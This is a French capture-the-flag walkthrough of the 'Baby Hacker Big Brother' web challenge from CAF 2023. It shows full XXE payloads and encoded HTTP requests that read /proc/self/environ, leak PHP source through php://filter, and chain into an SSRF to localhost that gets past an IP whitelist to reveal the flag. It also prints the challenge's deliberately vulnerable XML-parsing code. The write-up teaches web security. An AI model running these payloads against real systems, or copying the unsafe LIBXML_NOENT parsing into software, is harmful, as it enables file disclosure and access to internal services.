Cover Image

CAF 2023 - Baby Hacker Big Brother


Dans cet article, nous allons explorer le dĂ©roulement pas Ă  pas (walkthrough) du challenge Web “Baby Hacker Big Brother” proposĂ© lors du CTF Cyber Africa Forum 2023.

Lorsque nous nous rendons sur la page web du challenge, nous obtenons ce rendu:

Nous avons un formulaire pour créer un compte sur le site web.

Je dĂ©cide d’ouvrir Burp Suite pour voir comment est implĂ©mentĂ©e l’envoi des donnĂ©es au serveur:

GET /generate.php?input=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ%2BPGZpcnN0TmFtZT5WYWxlbnRpbiBMb2JzdGVpbjwvZmlyc3ROYW1lPjxsYXN0TmFtZT5iaWRvbkBqZXNhaXNwYXMuY29tPC9sYXN0TmFtZT48L2lucHV0Pg%3D%3D HTTP/1.1
Host: 51.178.18.146:40000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://51.178.18.146:40000/chall2_086ecf773bbd273e9005d731f743df5a/
Upgrade-Insecure-Requests: 1

On voit que la donnĂ©e du forumaire est envoyĂ©e via une requĂȘte GET qui singifie dĂ©jĂ  que la requĂȘte n’est pas envoyĂ©e de maniĂšre sĂ©curisĂ©e, de plus le chemin du fichier generate.php est faux , puisque le vrai chemin de celui ci est /chall2_086ecf773bbd273e9005d731f743df5a/generate.php.

En décodant le contenu du paramÚtre input en base64 nous obtenons ceci:


<?xml version='1.0' encoding='UTF-8'?>
<input>
    <firstName>Valentin Lobstein</firstName>
    <lastName>bidon@jesaispas.com</lastName>
</input>    

Il s’agit d’un contenu XML, la premiĂšre piste que j’ai explorĂ©e est la falle XXE (Xml eXternal Entities).

Qu’est ce qu’une faille XXE ?

Une attaque XXE (XML External Entity) est une technique d’attaque de sĂ©curitĂ© courante utilisĂ©e contre les applications Web qui analysent les fichiers XML. L’attaque consiste Ă  insĂ©rer des entitĂ©s XML malveillantes dans les donnĂ©es d’entrĂ©e XML, qui sont ensuite analysĂ©es par l’application Web. L’objectif de l’attaque est de permettre Ă  un attaquant de lire des fichiers arbitraires sur le serveur ou d’exĂ©cuter du code malveillant Ă  distance.

Voici le premier payload que j’ai tentĂ© pour exploiter cette faille:

<!DOCTYPE replace [
    <!ENTITY xxe SYSTEM "file:///proc/self/environ">
]>
<input>
    <firstName>&xxe;</firstName>
    <lastName>aa</lastName>
</input>

EncodĂ© en base64 puis en URL encode j’envoie cette requĂȘte au serveur :

GET /chall2_086ecf773bbd273e9005d731f743df5a/generate.php?input=%50%43%46%45%54%30%4e%55%57%56%42%46%49%48%4a%6c%63%47%78%68%59%32%55%67%57%77%6f%67%49%43%41%67%50%43%46%46%54%6c%52%4a%56%46%6b%67%65%48%68%6c%49%46%4e%5a%55%31%52%46%54%53%41%69%5a%6d%6c%73%5a%54%6f%76%4c%79%39%77%63%6d%39%6a%4c%33%4e%6c%62%47%59%76%5a%57%35%32%61%58%4a%76%62%69%49%2b%43%6c%30%2b%43%6a%78%70%62%6e%42%31%64%44%34%4b%49%43%41%67%49%44%78%6d%61%58%4a%7a%64%45%35%68%62%57%55%2b%4a%6e%68%34%5a%54%73%38%4c%32%5a%70%63%6e%4e%30%54%6d%46%74%5a%54%34%4b%49%43%41%67%49%44%78%73%59%58%4e%30%54%6d%46%74%5a%54%35%68%59%54%77%76%62%47%46%7a%64%45%35%68%62%57%55%2b%43%6a%77%76%61%57%35%77%64%58%51%2b HTTP/1.1
Host: 51.178.18.146:40000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://51.178.18.146:40000/chall2_086ecf773bbd273e9005d731f743df5a/
Upgrade-Insecure-Requests: 1

Voici le rĂ©sultat que j’obtiens:

Nous avons rĂ©ussi Ă  gĂ©nĂ©rer une erreur au moment oĂč le serveur parse le XML qui nous permet d’obtenir le rĂ©pertoire absolu oĂč sont stockĂ©s les fichiers php du serveur web /var/www/html.

Le but ici maintenant est de pouvoir rĂ©cupĂ©rer le code source de la page generate.php pour obtenir plus d’informations sur le fonctionnement de cette page.

Voici le payload que j’ai utilisĂ© pour rĂ©aliser cette tĂąche:

<!DOCTYPE replace [
    <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/generate.php">
]>
<input>
    <firstName>&xxe;</firstName>
    <lastName>aa</lastName>
</input>

Le but ici est d’utiliser le wrapper php://filter pour encoder en base64 le contenu du fichier generate.php afin qu’il ne soit pas executĂ© en tant que php sur la page, et donc que le code source php soit visible pour nous.

Voici la requĂȘte complĂšte:

GET /chall2_086ecf773bbd273e9005d731f743df5a/generate.php?input=%50%43%46%45%54%30%4e%55%57%56%42%46%49%48%4a%6c%63%47%78%68%59%32%55%67%57%77%6f%67%49%43%41%67%50%43%46%46%54%6c%52%4a%56%46%6b%67%65%48%68%6c%49%46%4e%5a%55%31%52%46%54%53%41%69%63%47%68%77%4f%69%38%76%5a%6d%6c%73%64%47%56%79%4c%33%4a%6c%59%57%51%39%59%32%39%75%64%6d%56%79%64%43%35%69%59%58%4e%6c%4e%6a%51%74%5a%57%35%6a%62%32%52%6c%4c%33%4a%6c%63%32%39%31%63%6d%4e%6c%50%53%39%32%59%58%49%76%64%33%64%33%4c%32%68%30%62%57%77%76%5a%32%56%75%5a%58%4a%68%64%47%55%75%63%47%68%77%49%6a%34%4b%58%54%34%4b%50%47%6c%75%63%48%56%30%50%67%6f%67%49%43%41%67%50%47%5a%70%63%6e%4e%30%54%6d%46%74%5a%54%34%6d%65%48%68%6c%4f%7a%77%76%5a%6d%6c%79%63%33%52%4f%59%57%31%6c%50%67%6f%67%49%43%41%67%50%47%78%68%63%33%52%4f%59%57%31%6c%50%6d%46%68%50%43%39%73%59%58%4e%30%54%6d%46%74%5a%54%34%4b%50%43%39%70%62%6e%42%31%64%44%34%3d HTTP/1.1
Host: 51.178.18.146:40000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://51.178.18.146:40000/chall2_086ecf773bbd273e9005d731f743df5a/
Upgrade-Insecure-Requests: 1

Et voici le code source php de la page generate.php une fois décodée en clair:

<?php

$whitelist = array(
    '127.0.0.1',
    '::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
	echo $_ENV["FLAG"];
	return;
}
// make sure the input parameter exists
if (empty($_GET["input"])) {
	echo "Please include the 'input' get parameter with your request, Buddy";
	return;
}

// get input
$xmlData = base64_decode($_GET["input"]);
// parse xml
$xml=simplexml_load_string($xmlData, null, LIBXML_NOENT) or die("Error parsing XML: "."\n".$xmlData);
$firstName = $xml->firstName;
$lastName = $xml->lastName;
// generate username
$nouns = array("breakroot", "sec042", "Stalhacker", "Coder08", "Hacker", "jhokkha", "illution", "maskbreak", "serialboy", "victorians", "mrrobot", "HunterX", "Brutelfine", "hoopssec", "littledocker");
$noun = $nouns[array_rand($nouns)];
$generatedName = $firstName.' "The '.$noun.'" '.$lastName;

// return html for the results page
echo <<<EOT
<!DOCTYPE html>
<html lang="en">
<head>
  <title>Fault System Generator</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</head>
<body>

<div class="jumbotron text-center">
  <h1>Your ID Name Is:</h1>
  <h2>$generatedName</h2> 

  <a href="/">Go Back</a> 
</div>
</body>
</html>
EOT;
?>

Une partie est extrĂšmement intĂ©ressante ici, il s’agit de cette partie du code :

<?php

$whitelist = array(
    '127.0.0.1',
    '::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
	echo $_ENV["FLAG"];
	return;
}
  • Ce code PHP dĂ©finit une liste blanche d’adresses IP, stockĂ©es dans un tableau appelĂ© $whitelist. Ensuite, le code vĂ©rifie si l’adresse IP de l’utilisateur qui accĂšde Ă  la page est prĂ©sente dans le tableau $whitelist. Si l’adresse IP de l’utilisateur est incluse dans la liste blanche, la page renvoie la valeur de la variable d’environnement $FLAG. Cette variable est utilisĂ©e pour stocker une valeur secrĂšte qui doit ĂȘtre gardĂ©e confidentielle.

  • Le but de ce code est de limiter l’accĂšs Ă  la valeur de la variable d’environnement $FLAG Ă  une liste spĂ©cifique d’adresses IP approuvĂ©es. En effet, cette variable contient une information sensible que l’on ne veut pas rendre accessible au public. Cette technique est utilisĂ©e pour Ă©viter que des attaquants puissent lire la valeur de la variable $FLAG en exploitant une vulnĂ©rabilitĂ© XXE, comme dans les exemples XML que nous avons vus prĂ©cĂ©demment.

  • En vĂ©rifiant l’adresse IP de l’utilisateur qui accĂšde Ă  la page, le code PHP tente de s’assurer que l’utilisateur est bien autorisĂ© Ă  accĂ©der Ă  la valeur de la variable $FLAG. Cependant, il convient de noter que l’adresse IP peut ĂȘtre facilement spoofĂ©e ou falsifiĂ©e.

Le seul moyen que nous avons pour contourner cette mesure de sécurité est de créer une SSRF depuis la faille XXE que nous avons déjà exploitée auparavant.

Qu’est ce qu’une faille SSRF ?

Une SSRF (Server-Side Request Forgery) est une vulnĂ©rabilitĂ© de sĂ©curitĂ© courante qui peut survenir lorsque des entrĂ©es utilisateur non validĂ©es sont utilisĂ©es pour effectuer des requĂȘtes HTTP depuis le serveur vers des ressources externes, telles que des sites Web, des systĂšmes de fichiers ou des services Web. Les attaquants peuvent exploiter cette vulnĂ©rabilitĂ© pour envoyer des requĂȘtes Ă  des ressources internes qui ne devraient pas ĂȘtre accessibles Ă  partir du serveur, ou pour effectuer des attaques en rebondissant Ă  partir de ressources internes vers des cibles externes.

Nous avons trois informations importantes:

  • Le fichier generate.php est placĂ© dans le rĂ©pertoire /var/www/html.

  • L’adresse IP whitelistĂ©e est 127.0.0.1.

  • Le flag est affichĂ© via la variable d’environnement $FLAG depuis generate.php.

À l’aide de ces informations nous pouvons enfin crĂ©er le dernier payload:

<!DOCTYPE replace [
    <!ENTITY xxe SYSTEM "http://127.0.0.1/generate.php">
]>
<input>
    <firstName>&xxe;</firstName>
    <lastName>aa</lastName>
</input>

La requĂȘte complĂšte est donc celle ci:

GET /chall2_086ecf773bbd273e9005d731f743df5a/generate.php?input=%50%43%46%45%54%30%4e%55%57%56%42%46%49%48%4a%6c%63%47%78%68%59%32%55%67%57%77%6f%67%49%43%41%67%50%43%46%46%54%6c%52%4a%56%46%6b%67%65%48%68%6c%49%46%4e%5a%55%31%52%46%54%53%41%69%61%48%52%30%63%44%6f%76%4c%7a%45%79%4e%79%34%77%4c%6a%41%75%4d%53%39%6e%5a%57%35%6c%63%6d%46%30%5a%53%35%77%61%48%41%69%50%67%70%64%50%67%6f%38%61%57%35%77%64%58%51%2b%43%69%41%67%49%43%41%38%5a%6d%6c%79%63%33%52%4f%59%57%31%6c%50%69%5a%34%65%47%55%37%50%43%39%6d%61%58%4a%7a%64%45%35%68%62%57%55%2b%43%69%41%67%49%43%41%38%62%47%46%7a%64%45%35%68%62%57%55%2b%59%57%45%38%4c%32%78%68%63%33%52%4f%59%57%31%6c%50%67%6f%38%4c%32%6c%75%63%48%56%30%50%67%6f%3d HTTP/1.1
Host: 51.178.18.146:40000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://51.178.18.146:40000/chall2_086ecf773bbd273e9005d731f743df5a/
Upgrade-Insecure-Requests: 1

Et voici la réponse du serveur :

Flag: CAF_{never_gonna_give_you_up_so_congratulations}